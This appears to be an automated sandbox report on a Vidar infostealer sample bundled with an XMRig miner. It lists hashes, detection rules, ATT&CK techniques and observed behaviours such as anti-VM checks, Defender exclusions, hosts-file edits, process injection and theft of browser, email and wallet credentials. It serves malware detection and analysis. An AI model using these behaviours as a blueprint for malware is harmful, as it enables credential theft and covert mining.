vidar | 3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705

Analysis

max time kernel
150s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/05/2026, 17:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 2.8MB
Sample260501-warefsav6t
SHA256 3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705
MD5 16beda08072cb06c5e75a741018d927a
SHA1 67399fe752d7946a31b630bbab600a15c1b0b89c
SHA512 148d7ee437ebd0b5d058be365cd94988ec45ceb51b8fd420694f75cdc2ba216bc4164769e14d09cef307db462f208b8c040cf7bd27b5ed009a3ca42f664ebf32
SSDEEP 49152:5qwiMrDNBP8GpGKUVH4+G3Jw1OU7rg+GTeviOmQp:5XvzpBP3C0QghT4iu
TLSH
T16DD57C07689100F8C09AF73194F67A95FB35B80847393BE72B525EB02E7B7C09936B56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution vidar xmrig miner persistence spyware stealer themida trojan

Malware Config

Signatures

Family: Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral2/memory/4412-1-0x0000000140000000-0x0000000140104000-memory.dmp	family_vidar_v15
behavioral2/memory/4412-22-0x0000000140000000-0x0000000140104000-memory.dmp	family_vidar_v15
behavioral2/memory/4412-198-0x0000000140000000-0x0000000140104000-memory.dmp	family_vidar_v15
behavioral2/memory/4412-227-0x0000000140000000-0x0000000140104000-memory.dmp	family_vidar_v15

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5412 created 936	5412	WerFault.exe	202

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 1988 created 632	1988	powershell.EXE	5
PID 3028 created 632	3028	powershell.EXE	5
PID 3848 created 936	3848	svchost.exe	202

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Chrome145.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Chrome145.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrome_144.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	pFmCqfHZ9R.exe

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/236-439-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/236-438-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/236-436-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/236-435-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/236-440-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/236-437-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1164	powershell.exe
5208	powershell.exe
1988	powershell.EXE
3028	powershell.EXE

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	chrome_144.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	pFmCqfHZ9R.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	pFmCqfHZ9R.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
3960	pFmCqfHZ9R.exe
2344	Chrome145.exe
3240	Chrome145.exe
4272	chrome_144.exe
5064	updater.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Themida packer 37 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000200000002aa7e-180.dat	themida
behavioral2/memory/3960-182-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/3960-183-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/3960-184-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/3960-188-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/3960-187-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/3960-189-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/3960-186-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/3960-185-0x00000000003E0000-0x0000000000E70000-memory.dmp	themida
behavioral2/memory/2344-194-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/2344-210-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/2344-211-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/2344-212-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/2344-213-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/2344-215-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/2344-214-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/2344-216-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-218-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-220-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-219-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-221-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-222-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-223-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-224-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/memory/3240-225-0x0000000000100000-0x0000000000B90000-memory.dmp	themida
behavioral2/files/0x001900000002b482-276.dat	themida
behavioral2/memory/4272-279-0x00007FF78CC90000-0x00007FF78DC5C000-memory.dmp	themida
behavioral2/memory/4272-278-0x00007FF78CC90000-0x00007FF78DC5C000-memory.dmp	themida
behavioral2/memory/4272-280-0x00007FF78CC90000-0x00007FF78DC5C000-memory.dmp	themida
behavioral2/memory/4272-281-0x00007FF78CC90000-0x00007FF78DC5C000-memory.dmp	themida
behavioral2/memory/4272-341-0x00007FF78CC90000-0x00007FF78DC5C000-memory.dmp	themida
behavioral2/memory/4272-380-0x00007FF78CC90000-0x00007FF78DC5C000-memory.dmp	themida
behavioral2/memory/5064-383-0x00007FF7E82A0000-0x00007FF7E926C000-memory.dmp	themida
behavioral2/memory/5064-384-0x00007FF7E82A0000-0x00007FF7E926C000-memory.dmp	themida
behavioral2/memory/5064-386-0x00007FF7E82A0000-0x00007FF7E926C000-memory.dmp	themida
behavioral2/memory/5064-385-0x00007FF7E82A0000-0x00007FF7E926C000-memory.dmp	themida
behavioral2/memory/5064-452-0x00007FF7E82A0000-0x00007FF7E926C000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 5 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	pFmCqfHZ9R.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Chrome145.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4140	powercfg.exe
1196	powercfg.exe
4092	powercfg.exe
2456	powercfg.exe
3272	powercfg.exe
5972	powercfg.exe
4344	powercfg.exe
3692	powercfg.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	chrome_144.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
3960	pFmCqfHZ9R.exe
2344	Chrome145.exe
3240	Chrome145.exe
4272	chrome_144.exe
5064	updater.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 2344 set thread context of 2584	2344	Chrome145.exe	108
PID 2344 set thread context of 5296	2344	Chrome145.exe	122
PID 4272 set thread context of 4924	4272	chrome_144.exe	143
PID 5064 set thread context of 5736	5064	updater.exe	181
PID 5064 set thread context of 3380	5064	updater.exe	183
PID 5064 set thread context of 236	5064	updater.exe	184
PID 2344 set thread context of 2584	2344	Chrome145.exe	108
PID 2344 set thread context of 4484	2344	Chrome145.exe	191
PID 1988 set thread context of 2652	1988	powershell.EXE	201
PID 3028 set thread context of 936	3028	powershell.EXE	202
PID 2344 set thread context of 4916	2344	Chrome145.exe	193

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\WacLangPackEula.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jre-1.8\README.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientARMRefer_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\AugLoop\third-party-notices.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Configuration\card_expiration_terms_dict.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fy.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientVolumeLicense_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Configuration\ssn_high_group_info.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\ExcelMessageDismissal.txt	Chrome145.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_Mocking.help.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ro.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\README.txt	Chrome145.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\THANKS.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientOSub2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\SkypeForBusinessVDI2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientOSub_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\Windows NT\TableTextService\TableTextServiceTigrinya.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.41182.0_x64__8wekyb3d8bbwe\Third Party Notices.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\AccessRuntime2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_TestDrive.help.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bg.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\he.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\LyncVDI_Eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	Chrome145.exe
File opened for modification	C:\Program Files\dotnet\LICENSE.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientARMRefer2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\README.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	Chrome145.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\nl\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4916_1732824128\_locales\or\messages.json	msedge.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2272	sc.exe
2652	sc.exe
5220	sc.exe
2056	sc.exe
4196	sc.exe
5832	sc.exe
5500	sc.exe
2940	sc.exe
5928	sc.exe
3928	sc.exe
5096	sc.exe
4664	sc.exe
3396	sc.exe
4928	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pFmCqfHZ9R.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chrome145.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chrome145.exe

System Time Discovery 1 TTPs 5 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5664	chrome.exe
5164	msedge.exe
1792	chrome.exe
5556	msedge.exe
4424	chrome.exe

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Enumerates system info in registry 2 TTPs 14 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
